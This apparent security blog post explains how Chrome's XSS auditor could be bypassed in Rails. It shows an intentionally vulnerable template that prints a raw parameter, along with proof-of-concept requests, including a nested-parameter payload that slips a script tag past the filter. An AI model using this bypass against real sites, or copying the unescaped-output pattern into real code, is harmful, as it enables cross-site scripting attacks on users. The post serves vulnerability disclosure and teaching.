What is the Chrome XSS protection?
The Chrome XSS Protection (also known as XSS auditor) checks whether a script that’s about to run on a web page is also present in the request that fetched that web page. If the script is present in the request, that’s a strong indication that the web server might have been tricked into reflecting the script. So in short, it blocks reflected XSS attacks.
A couple of months ago I discovered that the Chrome XSS Protection could be bypassed in Rails. Later, when I saw the issue brought up on twitter by homakov, I figured I’d write something about it as well. Here’s how the testing went down:
First off we started with creating a dummyscript with a straight forward XSS scenario. Here’s the code:
<h1>Variable: <%= raw params[:variable] %></h1>
Let’s test it with a basic cross-site scripting payload:
GET /?variable=<script>alert(1)</script> HTTP/1.1
Oh, no! The XSS auditor blocked the attempt. Let’s try something a bit different!
GET /?variable[<script>]=*alert(1)</script> HTTP/1.1
It works! But why? Let’s have a closer look at the source code strip away everything except the <script> tag:
<script>"=>" * alert(1)</script>
The XSS auditor probably misses this because Rails doesn’t print exactly what the browser sent, making it hard to filter automatically. However, Internet Explorers XSS auditor as well as NoScript finds it.
TL;DR: Chrome’s XSS auditor can be bypassed with rails like so: ?variable[<script>]=*alert(1)</script>.